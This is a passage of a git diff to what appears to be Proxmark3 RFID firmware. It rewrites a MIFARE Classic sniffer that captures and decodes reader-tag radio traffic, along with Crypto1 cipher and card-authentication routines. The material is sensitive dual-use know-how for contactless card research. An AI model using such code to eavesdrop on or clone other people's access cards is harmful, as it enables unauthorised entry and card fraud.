crc_update(&desfire_crc32, 0, 1); /* CMD_WRITE */ + // crc_update(&desfire_crc32, addr, addr_sz); + // crc_update(&desfire_crc32, byte, 8); + // uint32_t crc = crc_finish(&desfire_crc32); + +void OnSuccess(){ + pcb_blocknum = 0; + ReaderTransmit(deselect_cmd, 3 , NULL); + mifare_ultra_halt(); + switch_off(); +} + +void OnError(uint8_t reason){ + cmd_send(CMD_ACK,0,reason,0,0,0); + OnSuccess(); +} diff --git a/armsrc/mifaredesfire.h b/armsrc/mifaredesfire.h new file mode 100644 index 000000000..40c623ef9 --- /dev/null +++ b/armsrc/mifaredesfire.h @@ -0,0 +1,14 @@ +#ifndef __MIFAREDESFIRE_H +#define __MIFAREDESFIRE_H + +#include "common.h" +#include "proxmark3.h" +#include "apps.h" +#include "string.h" +#include "BigBuf.h" +#include "iso14443crc.h" +#include "iso14443a.h" +#include "desfire_key.h" +#include "mifareutil.h" +#include "des.h" +#endif diff --git a/armsrc/mifaresniff.c b/armsrc/mifaresniff.c index 3e5570f9c..3e6255354 100644 --- a/armsrc/mifaresniff.c +++ b/armsrc/mifaresniff.c @@ -9,165 +9,316 @@ //----------------------------------------------------------------------------- #include "mifaresniff.h" -#include "apps.h" -static int sniffState = SNF_INIT; -static uint8_t sniffUIDType; -static uint8_t sniffUID[8]; -static uint8_t sniffATQA[2]; -static uint8_t sniffSAK; -static uint8_t sniffBuf[16]; +//static int sniffState = SNF_INIT; +static uint8_t sniffUIDType = 0; +static uint8_t sniffUID[10] = {0,0,0,0,0,0,0,0,0,0}; +static uint8_t sniffATQA[2] = {0,0}; +static uint8_t sniffSAK = 0; +static uint8_t sniffBuf[17]; static uint32_t timerData = 0; +//----------------------------------------------------------------------------- +// MIFARE sniffer. +// +// if no activity for 2sec, it sends the collected data to the client. +//----------------------------------------------------------------------------- +// "hf mf sniff" +void RAMFUNC SniffMifare(uint8_t param) { + // param: + // bit 0 - trigger from first card answer + // bit 1 - trigger from first reader 7-bit request -bool MfSniffInit(void){ - memset(sniffUID, 0x00, 8); - memset(sniffATQA, 0x00, 2); - sniffSAK = 0; - sniffUIDType = SNF_UID_4; + // C(red) A(yellow) B(green) + LEDsoff(); + iso14443a_setup(FPGA_HF_ISO14443A_SNIFFER); + + // Allocate memory from BigBuf for some buffers + // free all previous allocations first + BigBuf_free(); BigBuf_Clear_ext(false); + clear_trace(); + set_tracing(true); - return FALSE; + // The command (reader -> tag) that we're receiving. + uint8_t receivedCmd[MAX_MIFARE_FRAME_SIZE] = {0x00}; + uint8_t receivedCmdPar[MAX_MIFARE_PARITY_SIZE] = {0x00}; + + // The response (tag -> reader) that we're receiving. + uint8_t receivedResp[MAX_MIFARE_FRAME_SIZE] = {0x00}; + uint8_t receivedRespPar[MAX_MIFARE_PARITY_SIZE] = {0x00}; + + // allocate the DMA buffer, used to stream samples from the FPGA + uint8_t *dmaBuf = BigBuf_malloc(DMA_BUFFER_SIZE); + uint8_t *data = dmaBuf; + uint8_t previous_data = 0; + int maxDataLen = 0; + int dataLen = 0; + bool ReaderIsActive = false; + bool TagIsActive = false; + + // We won't start recording the frames that we acquire until we trigger; + // a good trigger condition to get started is probably when we see a + // response from the tag. + // triggered == false -- to wait first for card + //bool triggered = !(param & 0x03); + + + // Set up the demodulator for tag -> reader responses. + DemodInit(receivedResp, receivedRespPar); + + // Set up the demodulator for the reader -> tag commands + UartInit(receivedCmd, receivedCmdPar); + + // Setup and start DMA. + // set transfer address and number of bytes. Start transfer. + if ( !FpgaSetupSscDma(dmaBuf, DMA_BUFFER_SIZE) ){ + if (MF_DBGLEVEL > 1) Dbprintf("[!] FpgaSetupSscDma failed. Exiting"); + return; + } + + tUart* uart = GetUart(); + tDemod* demod = GetDemod(); + + MfSniffInit(); + + uint32_t sniffCounter = 0; + // loop and listen + while (!BUTTON_PRESS()) { + WDT_HIT(); + LED_A_ON(); +/* + if ((sniffCounter & 0x0000FFFF) == 0) { // from time to time + // check if a transaction is completed (timeout after 2000ms). + // if yes, stop the DMA transfer and send what we have so far to the client + if (BigBuf_get_traceLen()) { + MfSniffSend(); + // Reset everything - we missed some sniffed data anyway while the DMA was stopped + sniffCounter = 0; + dmaBuf = BigBuf_malloc(DMA_BUFFER_SIZE); + data = dmaBuf; + maxDataLen = 0; + ReaderIsActive = false; + TagIsActive = false; + FpgaSetupSscDma((uint8_t *)dmaBuf, DMA_BUFFER_SIZE); // set transfer address and number of bytes. Start transfer. + } + } + */ + + // number of bytes we have processed so far + int register readBufDataP = data - dmaBuf; + // number of bytes already transferred + int register dmaBufDataP = DMA_BUFFER_SIZE - AT91C_BASE_PDC_SSC->PDC_RCR; + if (readBufDataP <= dmaBufDataP) // we are processing the same block of data which is currently being transferred + dataLen = dmaBufDataP - readBufDataP; // number of bytes still to be processed + else + dataLen = DMA_BUFFER_SIZE - readBufDataP + dmaBufDataP; // number of bytes still to be processed + + // test for length of buffer + if (dataLen > maxDataLen) { // we are more behind than ever... + maxDataLen = dataLen; + if (dataLen > (9 * DMA_BUFFER_SIZE / 10)) { + Dbprintf("[!] blew circular buffer! | datalen %u", dataLen); + break; + } + } + if (dataLen < 1) continue; + + // primary buffer was stopped ( <-- we lost data! + if (!AT91C_BASE_PDC_SSC->PDC_RCR) { + AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t)dmaBuf; + AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE; + Dbprintf("[-] RxEmpty ERROR | data length %d", dataLen); // temporary + } + // secondary buffer sets as primary, secondary buffer was stopped + if (!AT91C_BASE_PDC_SSC->PDC_RNCR) { + AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t)dmaBuf; + AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE; + } + + LED_A_OFF(); + + // Need two samples to feed Miller and Manchester-Decoder + if (sniffCounter & 0x01) { + + // no need to try decoding tag data if the reader is sending + if (!TagIsActive) { + uint8_t readerbyte = (previous_data & 0xF0) | (*data >> 4); + if (MillerDecoding(readerbyte, (sniffCounter-1)*4)) { + LogTrace(receivedCmd, uart->len, 0, 0, NULL, true); + DemodReset(); + UartReset(); + } + ReaderIsActive = (uart->state != STATE_UNSYNCD); + } + + // no need to try decoding tag data if the reader is sending + if (!ReaderIsActive) { + uint8_t tagbyte = (previous_data << 4) | (*data & 0x0F); + if (ManchesterDecoding(tagbyte, 0, (sniffCounter-1)*4)) { + LogTrace(receivedResp, demod->len, 0, 0, NULL, false); + DemodReset(); + UartReset(); + } + TagIsActive = (demod->state != DEMOD_UNSYNCD); + } + } + previous_data = *data; + sniffCounter++; + data++; + + if (data == dmaBuf + DMA_BUFFER_SIZE) + data = dmaBuf; + + } // main cycle + + MfSniffEnd(); + switch_off(); } -bool MfSniffEnd(void){ +void MfSniffInit(void){ + memset(sniffUID, 0x00, sizeof(sniffUID)); + memset(sniffATQA, 0x00, sizeof(sniffATQA)); + memset(sniffBuf, 0x00, sizeof(sniffBuf)); + sniffSAK = 0; + sniffUIDType = SNF_UID_4; + timerData = 0; +} + +void MfSniffEnd(void){ LED_B_ON(); cmd_send(CMD_ACK,0,0,0,0,0); LED_B_OFF(); - - return FALSE; } -bool RAMFUNC MfSniffLogic(const uint8_t *data, uint16_t len, uint32_t parity, uint16_t bitCnt, bool reader) { +/* +bool RAMFUNC MfSniffLogic(const uint8_t *data, uint16_t len, uint8_t *parity, uint16_t bitCnt, bool reader) { - if (reader && (len == 1) && (bitCnt == 7)) { // reset on 7-Bit commands from reader + // reset on 7-Bit commands from reader + if (reader && (len == 1) && (bitCnt == 7)) { sniffState = SNF_INIT; } + + switch (sniffState) { case SNF_INIT:{ - if ((len == 1) && (reader) && (bitCnt == 7) ) { // REQA or WUPA from reader - sniffUIDType = SNF_UID_4; - memset(sniffUID, 0x00, 8); - memset(sniffATQA, 0x00, 2); - sniffSAK = 0; - sniffState = SNF_WUPREQ; + // REQA,WUPA or MAGICWUP from reader + if ((len == 1) && (reader) && (bitCnt == 7) ) { + MfSniffInit(); + sniffState = (data[0] == MIFARE_MAGICWUPC1) ? SNF_MAGIC_WUPC2 : SNF_ATQA; } break; } - case SNF_WUPREQ:{ - if ((!reader) && (len == 2)) { // ATQA from tag - memcpy(sniffATQA, data, 2); - sniffState = SNF_ATQA; + case SNF_MAGIC_WUPC2: { + if ((len == 1) && (reader) && (data[0] == MIFARE_MAGICWUPC2) ) { + sniffState = SNF_CARD_IDLE; } break; } case SNF_ATQA:{ - if ((reader) && (len == 2) && (data[0] == 0x93) && (data[1] == 0x20)) { // Select ALL from reader - sniffState = SNF_ANTICOL1; + // ATQA from tag + if ((!reader) && (len == 2)) { + sniffATQA[0] = data[0]; + sniffATQA[1] = data[1]; + sniffState = SNF_UID; } break; } - case SNF_ANTICOL1:{ - if ((!reader) && (len == 5) && ((data[0] ^ data[1] ^ data[2] ^ data[3]) == data[4])) { // UID from tag (CL1) - memcpy(sniffUID + 3, data, 4); - sniffState = SNF_UID1; - } - break; - } - case SNF_UID1:{ - if ((reader) && (len == 9) && (data[0] == 0x93) && (data[1] == 0x70) && (CheckCrc14443(CRC_14443_A, data, 9))) { // Select 4 Byte UID from reader + case SNF_UID: { + + if ( !reader ) break; + if ( len != 9 ) break; + if ( !CheckCrc14443(CRC_14443_A, data, 9)) break; + if ( data[1] != 0x70 ) break; + + Dbprintf("[!] UID | %x", data[0]); + + if ((data[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT)) { + // UID_4 - select 4 Byte UID from reader + memcpy(sniffUID, data+2, 4); + sniffUIDType = SNF_UID_4; + sniffState = SNF_SAK; + } else if ((data[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT_2)) { + // UID_7 - Select 2nd part of 7 Byte UID + + // get rid of 0x88 + sniffUID[0] = sniffUID[1]; + sniffUID[1] = sniffUID[2]; + sniffUID[2] = sniffUID[3]; + //new uid bytes + memcpy(sniffUID+3, data+2, 4); + sniffUIDType = SNF_UID_7; + sniffState = SNF_SAK; + } else if ((data[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT_3)) { + // UID_10 - Select 3nd part of 10 Byte UID + // 3+3+4 = 10. + // get ride of previous 0x88 + sniffUID[3] = sniffUID[4]; + sniffUID[4] = sniffUID[5]; + sniffUID[5] = sniffUID[6]; + // new uid bytes + memcpy(sniffUID+6, data+2, 4); + sniffUIDType = SNF_UID_10; sniffState = SNF_SAK; } break; } case SNF_SAK:{ - if ((!reader) && (len == 3) && (CheckCrc14443(CRC_14443_A, data, 3))) { // SAK from card? + // SAK from card? + if ((!reader) && (len == 3) && (CheckCrc14443(CRC_14443_A, data, 3))) { sniffSAK = data[0]; - if (sniffUID[3] == 0x88) { // CL2 UID part to be expected - sniffState = SNF_ANTICOL2; - } else { // select completed + // CL2 UID part to be expected + if (( sniffSAK == 0x04) && (sniffUIDType == SNF_UID_4)) { + sniffState = SNF_UID; + // CL3 UID part to be expected + } else if ((sniffSAK == 0x04) && (sniffUIDType == SNF_UID_7)) { + sniffState = SNF_UID; + } else { + // select completed sniffState = SNF_CARD_IDLE; } } break; - } - case SNF_ANTICOL2:{ - if ((!reader) && (len == 5) && ((data[0] ^ data[1] ^ data[2] ^ data[3]) == data[4])) { // CL2 UID - memcpy(sniffUID, sniffUID+4, 3); - memcpy(sniffUID+3, data, 4); - sniffUIDType = SNF_UID_7; - sniffState = SNF_UID2; - } - break; - } - case SNF_UID2:{ - if ((reader) && (len == 9) && (data[0] == 0x95) && (data[1] == 0x70) && (CheckCrc14443(CRC_14443_A, data, 9))) { // Select 2nd part of 7 Byte UID - sniffState = SNF_SAK; - } - break; - } + } case SNF_CARD_IDLE:{ // trace the card select sequence sniffBuf[0] = 0xFF; sniffBuf[1] = 0xFF; - memcpy(sniffBuf + 2, sniffUID, 7); - memcpy(sniffBuf + 9, sniffATQA, 2); - sniffBuf[11] = sniffSAK; - sniffBuf[12] = 0xFF; - sniffBuf[13] = 0xFF; - LogTrace(sniffBuf, 14, 0, parity, true); - } // intentionally no break; - case SNF_CARD_CMD:{ - LogTrace(data, len, 0, parity, true); - sniffState = SNF_CARD_RESP; - timerData = GetTickCount(); - break; - } - case SNF_CARD_RESP:{ - LogTrace(data, len, 0, parity, false); + memcpy(sniffBuf + 2, sniffUID, sizeof(sniffUID)); + memcpy(sniffBuf + 12, sniffATQA, sizeof(sniffATQA)); + sniffBuf[14] = sniffSAK; + sniffBuf[15] = 0xFF; + sniffBuf[16] = 0xFF; + LogTrace(sniffBuf, sizeof(sniffBuf), 0, 0, NULL, true); sniffState = SNF_CARD_CMD; + } // intentionally no break; + case SNF_CARD_CMD:{ + LogTrace(data, len, 0, 0, NULL, reader); timerData = GetTickCount(); break; - } - + } default: sniffState = SNF_INIT; break; } - - - return FALSE; + return false; } +*/ -bool RAMFUNC MfSniffSend(uint16_t maxTimeoutMs) { - if (traceLen && (GetTickCount() > timerData + maxTimeoutMs)) { - return intMfSniffSend(); - } - return FALSE; -} - -// internal sending function. not a RAMFUNC. -bool intMfSniffSend() { - - int pckSize = 0; - int pckLen = traceLen; - int pckNum = 0; - - FpgaDisableSscDma(); - while (pckLen > 0) { - pckSize = MIN(USB_CMD_DATA_SIZE, pckLen); +void RAMFUNC MfSniffSend() { + uint16_t tracelen = BigBuf_get_traceLen(); + uint16_t chunksize = 0; + int packlen = tracelen; // total number of bytes to send + uint8_t *data = BigBuf_get_addr(); + + while (packlen > 0) { LED_B_ON(); - cmd_send(CMD_ACK, 1, pckSize, pckNum, trace + traceLen - pckLen, pckSize); + chunksize = MIN(USB_CMD_DATA_SIZE, packlen); // chunk size 512 + cmd_send(CMD_ACK, 1, tracelen, chunksize, data + tracelen - packlen, chunksize); + packlen -= chunksize; LED_B_OFF(); - - pckLen -= pckSize; - pckNum++; } LED_B_ON(); - cmd_send(CMD_ACK,2,0,0,0,0); + cmd_send(CMD_ACK, 2, 0, 0, 0, 0); // 2 == data transfer finished. LED_B_OFF(); - - iso14a_clear_trace(); - - return TRUE; -} +} \ No newline at end of file diff --git a/armsrc/mifaresniff.h b/armsrc/mifaresniff.h index 1065fa618..537fa2941 100644 --- a/armsrc/mifaresniff.h +++ b/armsrc/mifaresniff.h @@ -15,33 +15,28 @@ #include "apps.h" #include "util.h" #include "string.h" - #include "iso14443crc.h" #include "iso14443a.h" -#include "crapto1.h" +#include "crapto1/crapto1.h" #include "mifareutil.h" #include "common.h" -#define SNF_INIT 0 +#define SNF_INIT 0 #define SNF_NO_FIELD 1 -#define SNF_WUPREQ 2 -#define SNF_ATQA 3 -#define SNF_ANTICOL1 4 -#define SNF_UID1 5 -#define SNF_ANTICOL2 6 -#define SNF_UID2 7 -#define SNF_SAK 8 -#define SNF_CARD_IDLE 9 -#define SNF_CARD_CMD 10 -#define SNF_CARD_RESP 11 +#define SNF_ATQA 2 +#define SNF_UID 3 +#define SNF_SAK 4 +#define SNF_CARD_IDLE 5 +#define SNF_CARD_CMD 6 +#define SNF_MAGIC_WUPC2 7 -#define SNF_UID_4 0 -#define SNF_UID_7 0 +#define SNF_UID_4 0 +#define SNF_UID_7 0 +#define SNF_UID_10 0 -bool MfSniffInit(void); -bool RAMFUNC MfSniffLogic(const uint8_t * data, uint16_t len, uint32_t parity, uint16_t bitCnt, bool reader); -bool RAMFUNC MfSniffSend(uint16_t maxTimeoutMs); -bool intMfSniffSend(); -bool MfSniffEnd(void); +void MfSniffInit(void); +bool RAMFUNC MfSniffLogic(const uint8_t *data, uint16_t len, uint8_t *parity, uint16_t bitCnt, bool reader); +void RAMFUNC MfSniffSend(void); +void MfSniffEnd(void); #endif \ No newline at end of file diff --git a/armsrc/mifareutil.c b/armsrc/mifareutil.c index 0b93db8f7..179b9c51e 100644 --- a/armsrc/mifareutil.c +++ b/armsrc/mifareutil.c @@ -8,182 +8,130 @@ //----------------------------------------------------------------------------- // Work with mifare cards. //----------------------------------------------------------------------------- - -#include "proxmark3.h" -#include "apps.h" -#include "util.h" -#include "string.h" - -#include "iso14443crc.h" -#include "iso14443a.h" -#include "crapto1.h" #include "mifareutil.h" -int MF_DBGLEVEL = MF_DBG_ALL; - -// memory management -uint8_t* mifare_get_bigbufptr(void) { - return (((uint8_t *)BigBuf) + MIFARE_BUFF_OFFSET); // was 3560 - tied to other size changes -} -uint8_t* eml_get_bigbufptr_sendbuf(void) { - return (((uint8_t *)BigBuf) + RECV_CMD_OFFSET); -} -uint8_t* eml_get_bigbufptr_recbuf(void) { - return (((uint8_t *)BigBuf) + MIFARE_BUFF_OFFSET); -} -uint8_t* eml_get_bigbufptr_cardmem(void) { - return (((uint8_t *)BigBuf) + CARD_MEMORY); -} +int MF_DBGLEVEL = MF_DBG_ERROR; // crypto1 helpers -void mf_crypto1_decrypt(struct Crypto1State *pcs, uint8_t *data, int len){ +void mf_crypto1_decryptEx(struct Crypto1State *pcs, uint8_t *data_in, int len, uint8_t *data_out){ uint8_t bt = 0; int i; if (len != 1) { for (i = 0; i < len; i++) - data[i] = crypto1_byte(pcs, 0x00, 0) ^ data[i]; + data_out[i] = crypto1_byte(pcs, 0x00, 0) ^ data_in[i]; } else { - bt = 0; - for (i = 0; i < 4; i++) - bt |= (crypto1_bit(pcs, 0, 0) ^ BIT(data[0], i)) << i; - - data[0] = bt; + bt |= (crypto1_bit(pcs, 0, 0) ^ BIT(data_in[0], 0)) << 0; + bt |= (crypto1_bit(pcs, 0, 0) ^ BIT(data_in[0], 1)) << 1; + bt |= (crypto1_bit(pcs, 0, 0) ^ BIT(data_in[0], 2)) << 2; + bt |= (crypto1_bit(pcs, 0, 0) ^ BIT(data_in[0], 3)) << 3; + data_out[0] = bt; } return; } -void mf_crypto1_encrypt(struct Crypto1State *pcs, uint8_t *data, int len, uint32_t *par) { +void mf_crypto1_decrypt(struct Crypto1State *pcs, uint8_t *data, int len){ + mf_crypto1_decryptEx(pcs, data, len, data); +} + +void mf_crypto1_encrypt(struct Crypto1State *pcs, uint8_t *data, uint16_t len, uint8_t *par) { uint8_t bt = 0; int i; - uint32_t mltpl = 1 << (len - 1); // for len=18 it=0x20000 - *par = 0; + par[0] = 0; + for (i = 0; i < len; i++) { bt = data[i]; data[i] = crypto1_byte(pcs, 0x00, 0) ^ data[i]; - *par = (*par >> 1) | ( ((filter(pcs->odd) ^ oddparity(bt)) & 0x01) * mltpl ); + if ( ( i & 0x0007 ) == 0) + par[ i >> 3 ] = 0; + par[ i >> 3 ] |= (((filter(pcs->odd) ^ oddparity8(bt)) & 0x01)<<(7-(i&0x0007))); } - return; } uint8_t mf_crypto1_encrypt4bit(struct Crypto1State *pcs, uint8_t data) { uint8_t bt = 0; - int i; - - for (i = 0; i < 4; i++) - bt |= (crypto1_bit(pcs, 0, 0) ^ BIT(data, i)) << i; - + bt |= (crypto1_bit(pcs, 0, 0) ^ BIT(data, 0)) << 0; + bt |= (crypto1_bit(pcs, 0, 0) ^ BIT(data, 1)) << 1; + bt |= (crypto1_bit(pcs, 0, 0) ^ BIT(data, 2)) << 2; + bt |= (crypto1_bit(pcs, 0, 0) ^ BIT(data, 3)) << 3; return bt; } -// send commands -int mifare_sendcmd_short(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd, uint8_t data, uint8_t* answer, uint32_t *timing) -{ - return mifare_sendcmd_shortex(pcs, crypted, cmd, data, answer, NULL, timing); -} - -int mifare_sendcmd_short_special(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd, uint8_t* data, uint8_t* answer, uint8_t *timing) -{ - uint8_t dcmd[8];//, ecmd[4]; - //uint32_t par=0; - - dcmd[0] = cmd; - dcmd[1] = data[0]; - dcmd[2] = data[1]; - dcmd[3] = data[2]; - dcmd[4] = data[3]; - dcmd[5] = data[4]; - AppendCrc14443a(dcmd, 6); - //Dbprintf("Data command: %02x", dcmd[0]); - //Dbprintf("Data R: %02x %02x %02x %02x %02x %02x %02x", dcmd[1],dcmd[2],dcmd[3],dcmd[4],dcmd[5],dcmd[6],dcmd[7]); - - //memcpy(ecmd, dcmd, sizeof(dcmd)); - ReaderTransmit(dcmd, sizeof(dcmd), NULL); - int len = ReaderReceive(answer); - if(!len) - { - if (MF_DBGLEVEL >= 1) Dbprintf("Authentication failed. Card timeout."); - return 2; - } - return len; -} - -int mifare_sendcmd_shortex(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd, uint8_t data, uint8_t* answer, uint32_t * parptr, uint32_t *timing) -{ - uint8_t dcmd[4], ecmd[4]; - uint32_t pos, par, res; +// send X byte basic commands +int mifare_sendcmd(uint8_t cmd, uint8_t* data, uint8_t data_size, uint8_t* answer, uint8_t *answer_parity, uint32_t *timing) { + uint8_t dcmd[data_size+3]; + dcmd[0] = cmd; + memcpy(dcmd+1, data, data_size); + AddCrc14A(dcmd, data_size+1); + ReaderTransmit(dcmd, sizeof(dcmd), timing); + int len = ReaderReceive(answer, answer_parity); + if(!len) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("%02X Cmd failed. Card timeout.", cmd); + len = ReaderReceive(answer,answer_parity); + } + return len; +} - dcmd[0] = cmd; - dcmd[1] = data; - AppendCrc14443a(dcmd, 2); - +// send 2 byte commands +int mifare_sendcmd_short(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd, uint8_t data, uint8_t *answer, uint8_t *answer_parity, uint32_t *timing) { + uint16_t pos, res; + uint8_t dcmd[4] = {cmd, data, 0x00, 0x00}; + uint8_t ecmd[4] = {0x00, 0x00, 0x00, 0x00}; + uint8_t par[1] = {0x00}; // 1 Byte parity is enough here + AddCrc14A(dcmd, 2); memcpy(ecmd, dcmd, sizeof(dcmd)); if (crypted) { - par = 0; - for (pos = 0; pos < 4; pos++) - { + par[0] = 0; + for (pos = 0; pos < 4; pos++) { ecmd[pos] = crypto1_byte(pcs, 0x00, 0) ^ dcmd[pos]; - par = (par >> 1) | ( ((filter(pcs->odd) ^ oddparity(dcmd[pos])) & 0x01) * 0x08 ); + par[0] |= (((filter(pcs->odd) ^ oddparity8(dcmd[pos])) & 0x01) << (7-pos)); } - ReaderTransmitPar(ecmd, sizeof(ecmd), par, timing); - } else { ReaderTransmit(dcmd, sizeof(dcmd), timing); } - int len = ReaderReceivePar(answer, &par); + int len = ReaderReceive(answer, par); + + if (answer_parity) *answer_parity = par[0]; - if (parptr) *parptr = par; - if (crypted == CRYPT_ALL) { if (len == 1) { res = 0; - for (pos = 0; pos < 4; pos++) - res |= (crypto1_bit(pcs, 0, 0) ^ BIT(answer[0], pos)) << pos; - - answer[0] = res; - + res |= (crypto1_bit(pcs, 0, 0) ^ BIT(answer[0], 0)) << 0; + res |= (crypto1_bit(pcs, 0, 0) ^ BIT(answer[0], 1)) << 1; + res |= (crypto1_bit(pcs, 0, 0) ^ BIT(answer[0], 2)) << 2; + res |= (crypto1_bit(pcs, 0, 0) ^ BIT(answer[0], 3)) << 3; + answer[0] = res; } else { for (pos = 0; pos < len; pos++) - { answer[pos] = crypto1_byte(pcs, 0x00, 0) ^ answer[pos]; - } } } - return len; } -// mifare commands -int mifare_classic_auth(struct Crypto1State *pcs, uint32_t uid, uint8_t blockNo, uint8_t keyType, uint64_t ui64Key, uint64_t isNested) -{ +// mifare classic commands +int mifare_classic_auth(struct Crypto1State *pcs, uint32_t uid, uint8_t blockNo, uint8_t keyType, uint64_t ui64Key, uint8_t isNested) { return mifare_classic_authex(pcs, uid, blockNo, keyType, ui64Key, isNested, NULL, NULL); } -int mifare_classic_authex(struct Crypto1State *pcs, uint32_t uid, uint8_t blockNo, uint8_t keyType, uint64_t ui64Key, uint64_t isNested, uint32_t * ntptr, uint32_t *timing) -{ - // variables +int mifare_classic_authex(struct Crypto1State *pcs, uint32_t uid, uint8_t blockNo, uint8_t keyType, uint64_t ui64Key, uint8_t isNested, uint32_t *ntptr, uint32_t *timing) { int len; - uint32_t pos; - uint8_t tmp4[4]; - byte_t par = 0; - byte_t ar[4]; - uint32_t nt, ntpp; // Supplied tag nonce - + uint32_t pos, nt, ntpp; // Supplied tag nonce + uint8_t par[1] = {0x00}; + uint8_t nr[4]; uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; - uint8_t* receivedAnswer = mifare_get_bigbufptr(); + uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE] = {0x00}; + uint8_t receivedAnswerPar[MAX_MIFARE_PARITY_SIZE] = {0x00}; - // Transmit MIFARE_CLASSIC_AUTH - len = mifare_sendcmd_short(pcs, isNested, 0x60 + (keyType & 0x01), blockNo, receivedAnswer, timing); - if (MF_DBGLEVEL >= 4) Dbprintf("rand nonce len: %x", len); - if (len != 4) return 1; + // "random" reader nonce: + num_to_bytes( prng_successor( GetTickCount(), 32), 4, nr); - ar[0] = 0x55; - ar[1] = 0x41; - ar[2] = 0x49; - ar[3] = 0x92; + // Transmit MIFARE_CLASSIC_AUTH + len = mifare_sendcmd_short(pcs, isNested, 0x60 + (keyType & 0x01), blockNo, receivedAnswer, receivedAnswerPar, timing); + if (len != 4) return 1; // Save the tag nonce (nt) nt = bytes_to_num(receivedAnswer, 4); @@ -204,268 +152,361 @@ int mifare_classic_authex(struct Crypto1State *pcs, uint32_t uid, uint8_t blockN } // some statistic - if (!ntptr && (MF_DBGLEVEL >= 3)) - Dbprintf("auth uid: %08x nt: %08x", uid, nt); + if (!ntptr && (MF_DBGLEVEL >= MF_DBG_EXTENDED)) + Dbprintf("auth uid: %08x | nr: %08x | nt: %08x", uid, nr, nt); // save Nt if (ntptr) *ntptr = nt; - par = 0; // Generate (encrypted) nr+parity by loading it into the cipher (Nr) - for (pos = 0; pos < 4; pos++) - { - mf_nr_ar[pos] = crypto1_byte(pcs, ar[pos], 0) ^ ar[pos]; - par = (par >> 1) | ( ((filter(pcs->odd) ^ oddparity(ar[pos])) & 0x01) * 0x80 ); + par[0] = 0; + for (pos = 0; pos < 4; pos++) { + mf_nr_ar[pos] = crypto1_byte(pcs, nr[pos], 0) ^ nr[pos]; + par[0] |= (((filter(pcs->odd) ^ oddparity8(nr[pos])) & 0x01) << (7-pos)); } // Skip 32 bits in pseudo random generator - nt = prng_successor(nt,32); + nt = prng_successor(nt, 32); // ar+parity - for (pos = 4; pos < 8; pos++) - { + for (pos = 4; pos < 8; pos++) { nt = prng_successor(nt,8); mf_nr_ar[pos] = crypto1_byte(pcs,0x00,0) ^ (nt & 0xff); - par = (par >> 1)| ( ((filter(pcs->odd) ^ oddparity(nt & 0xff)) & 0x01) * 0x80 ); + par[0] |= (((filter(pcs->odd) ^ oddparity8(nt & 0xff)) & 0x01) << (7-pos)); } // Transmit reader nonce and reader answer ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL); - // Receive 4 bit answer - len = ReaderReceive(receivedAnswer); - if (!len) - { - if (MF_DBGLEVEL >= 1) Dbprintf("Authentication failed. Card timeout."); + // Receive 4 byte tag answer + len = ReaderReceive(receivedAnswer, receivedAnswerPar); + if (!len) { + if (MF_DBGLEVEL >= MF_DBG_EXTENDED) Dbprintf("Authentication failed. Card timeout."); return 2; } - - memcpy(tmp4, receivedAnswer, 4); + ntpp = prng_successor(nt, 32) ^ crypto1_word(pcs, 0,0); - - if (ntpp != bytes_to_num(tmp4, 4)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Authentication failed. Error card response."); + + if (ntpp != bytes_to_num(receivedAnswer, 4)) { + if (MF_DBGLEVEL >= MF_DBG_EXTENDED) Dbprintf("Authentication failed. Error card response."); return 3; } - return 0; } -int mifare_classic_readblock(struct Crypto1State *pcs, uint32_t uid, uint8_t blockNo, uint8_t *blockData) -{ - // variables +int mifare_classic_readblock(struct Crypto1State *pcs, uint32_t uid, uint8_t blockNo, uint8_t *blockData) { + int len; - uint8_t bt[2]; + uint8_t bt[2] = {0x00, 0x00}; + uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE] = {0x00}; + uint8_t receivedAnswerPar[MAX_MIFARE_PARITY_SIZE] = {0x00}; - uint8_t* receivedAnswer = mifare_get_bigbufptr(); - - // command MIFARE_CLASSIC_READBLOCK - len = mifare_sendcmd_short(pcs, 1, 0x30, blockNo, receivedAnswer, NULL); + len = mifare_sendcmd_short(pcs, 1, ISO14443A_CMD_READBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL); if (len == 1) { - if (MF_DBGLEVEL >= 1) Dbprintf("Cmd Error: %02x", receivedAnswer[0]); + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Cmd Error: %02x", receivedAnswer[0]); return 1; } if (len != 18) { - if (MF_DBGLEVEL >= 1) Dbprintf("Cmd Error: card timeout. len: %x", len); + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Cmd Error: wrong response len: %x (expected 18)", len); return 2; } memcpy(bt, receivedAnswer + 16, 2); - AppendCrc14443a(receivedAnswer, 16); + AddCrc14A(receivedAnswer, 16); if (bt[0] != receivedAnswer[16] || bt[1] != receivedAnswer[17]) { - if (MF_DBGLEVEL >= 1) Dbprintf("Cmd CRC response error."); + if (MF_DBGLEVEL >= MF_DBG_ALL) Dbprintf("Cmd CRC response error."); return 3; } memcpy(blockData, receivedAnswer, 16); - return 0; -} - -int mifare_ultra_readblock(uint32_t uid, uint8_t blockNo, uint8_t *blockData) -{ - // variables - int len; - uint8_t bt[2]; - - uint8_t* receivedAnswer = mifare_get_bigbufptr(); - - // command MIFARE_CLASSIC_READBLOCK - len = mifare_sendcmd_short(NULL, 1, 0x30, blockNo, receivedAnswer,NULL); - if (len == 1) { - if (MF_DBGLEVEL >= 1) Dbprintf("Cmd Error: %02x", receivedAnswer[0]); - return 1; - } - if (len != 18) { - if (MF_DBGLEVEL >= 1) Dbprintf("Cmd Error: card timeout. len: %x", len); - return 